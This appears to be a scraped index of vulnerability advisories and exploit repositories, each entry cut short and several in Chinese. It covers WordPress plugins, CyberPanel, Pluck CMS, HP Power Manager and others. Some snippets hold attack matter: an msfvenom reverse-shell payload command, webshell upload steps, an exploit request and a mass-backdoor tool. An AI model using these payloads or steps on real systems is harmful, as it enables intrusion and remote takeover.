EUVD-2026-91190

The Tabs Responsive WordPress plugin through 2.5 does not sanitize the content of WooCommerce product tabs before storing and rendering it, allowing a shop manager to store JavaScript that executes when any user, including an administrator, views the product page...

wp-file-manager

wp-file-manager WP File Manager 6.9 - 任意文件上传导致远程代码执行（RCE） usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE, --file FILE File of URLS to check + Testing https://localhos...

js-jobs

js-jobs JS Job Manager 要激活插件（此处存在一个限制：插件必须包含 /.php 文件，否则将无法激活）： POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 78...

symboliclink-testing-tools

symboliclink-testing-tools c Google Inc. 2015 由 James Forshaw 开发 这是一套用于测试 Windows 各种符号链接类型的小型工具套件，包含以下工具： BaitAndSwitch：创建一个符号链接，并使用 OPLOCK 赢得 TOCTOU（检查时间到使用时间）竞争 CreateDosDeviceSymlink：使用 csrss 创建对象管理器符号链接 CreateMountPoint：创建任意文件挂载点 CreateNtfsSymlink：创建 NTFS 符号链接 CreateObjectDirectory：创建新的对象管理器目...

TaskManager-Button-Disabler

TaskManager-Button-Disabler 禁用/重命名任务管理器按钮的简单方法。 安装 git clone https://github.com/Mrakovic-ORG/TaskManager-Button-Disabler cd TaskManager-Button-Disabler\TaskManager Button Disabler dotnet build 功能特性 重命名终止进程按钮 禁用终止进程按钮 适用于任务管理器、ProcessHacker等 实际效果...

Zoho manageengine - Cross-Site Scripting

Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the...

Sitecore Experience Manager (XM) and Experience Platform (XP) - Hardcoded Credentials

Sitecore Experience Manager XM and Experience Platform XP versions 10.1 to 10.1.4 rev. 011974 PRE, all versions of 10.2, 10.3 to 10.3.3 rev. 011967 PRE, and 10.4 to 10.4.1 rev. 011941 PRE contain a hardcoded user account. Unauthenticated and remote attackers can use this account to access...

CyberPanel - Command Injection

CyberPanel aka Cyber Panel before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner sink. There is /filemanager/upload aka File Manager upload unauthenticated remote code execution via shell metacharacters. id: CVE-2024-51568 info: name: CyberPanel - Comman...

Micro Focus Operations Bridge Manager <=2020.05 - Remote Code Execution

Micro Focus Operations Bridge Manager in versions 2020.05 and below is vulnerable to remote code execution via UCMDB. The vulnerability allows remote attackers to execute arbitrary code on affected installations of Data Center Automation. An attack requires network access and authentication as a...

WSO2 - Cross-Site Scripting

WSO2 contains a reflected cross-site scripting vulnerability in the Management Console of API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0, and 4.0.0; API Manager Analytics 2.2.0, 2.5.0, and 2.6.0; API Microgateway 2.2.0; Data Analytics Server 3.2.0; Enterprise Integrator 6.2.0, 6.3.0, 6.4.0,...

SolarWinds Security Event Manager - Unauthenticated RCE

The SolarWinds Security Event Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows an unauthenticated user to abuse SolarWinds’ service, resulting in remote code execution. id: CVE-2024-0692 info: name: SolarWinds Security Event Manager - Unauthenticated RCE...

PT-2026-104149

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Display Name in all versions up to, and including, 3.3.70 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and...

PT-2026-104084

The Tabs Responsive WordPress plugin through 2.5 does not sanitize the content of WooCommerce product tabs before storing and rendering it, allowing a shop manager to store JavaScript that executes when any user, including an administrator, views the product page...

CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC

CVE-2020-29607 — Pluck CMS Pluck CMS 4.7.13 之前的版本存在认证远程代码执行漏洞。管理员文件管理器（admin.php?action=files）未验证文件扩展名，允许上传 .phar 文件，Apache 会将其作为 PHP 执行。通过此端点上传 webshell 会导致以 Web 服务器用户身份执行远程代码。 工作原理 1. 使用提供的管理员密码进行身份验证。 2. 通过管理员文件管理器上传 PHP webshell 为 shell.phar。 3. 通过请求 shell 并运行 id 验证执行。 4. 针对上传的 webshell...

CVE-2025-56399

CVE-2025-56399 批量利用 CVE-2025-56399 – laravel-file-manager v3.3.1 中的远程代码执行漏洞。利用 Laravel File Manager 中的错误配置，通过未经身份验证的文件上传来上传并验证 PHP 后门。 安装 下载仓库 git clone https://github.com/im-hanzou/CVE-2025-56399 进入仓库文件夹 cd CVE-2025-56399 安装依赖 pip install -r requirements.txt 使用方法 准备一个 targets.txt 文件，每行一个目标：...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

CVE-2026-25604-PoC

CVE-2026-25604 PoC Apache Airflow 的 AWS Auth Manager 中，Host 头注入导致 SAML 身份验证绕过 攻击者可以在 SAML 登录流程中注入恶意的 Host 头，使断言使用者服务（ACS）URL 指向攻击者控制的服务器。这使攻击者能够捕获有效的 SAML 响应 并重放这些响应以未授权访问 受害者的 Airflow 实例——或在不同访问控制的多个 Airflow 实例间重用令牌。 受影响版本 软件包| 受影响版本| 修复版本 ---|---|--- apache-airflow-providers-amazon| 8.0.0 –...

aem-xss

徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 点击此处查看说明（如果你连这个都不会，那你真的不应该使用这个工具） 通过 pip 安装 pip install aem-xss 运行以下命令进行检查 aem-xss -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时接收即时通知。 Telegram 通知 aem-xss --chatid 打开你的 Telegram，搜索 @CappricioSecuritiesToolsbot 并点击开始 用法 3. 此工具支持多种使用场景。 检查单个 URL aem-xss -u...

CVE-2026-1937

🔴 漏洞概述 CVE-2026-1937 — 缺失授权 → 任意选项更新 → 权限提升 字段| 详情 ---|--- CVE 编号| CVE-2026-1937 严重性| 高危 — CVSS v3.1 评分：7.2 攻击向量| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CNA| Wordfence 研究人员| Daniel Basta whizzu — NASK PIB 公开披露时间| 2026 年 2 月 17 日 最后更新| 2026 年 3 月 27 日 受影响软件| YayMail – WordPress 的 WooCommerce...

CVE-2009-3036

CVE-2009-3036 SpeeDr00t@Black Falcon bid38241 Symantec IM Manager控制台HTML注入漏洞 信息 讨论 漏洞利用 解决方案 参考 Bugtraq ID: | 38241 ---|--- 类别: | 输入验证错误 CVE: | CVE-2009-3036 远程: | 是 本地: | 否 发布时间: | 2010年2月18日 12:00AM 更新时间: | 2010年2月18日 12:00AM 致谢: | Rafael B. Brinhosa 受影响版本: | Symantec IM Manager 8.4 Symantec IM...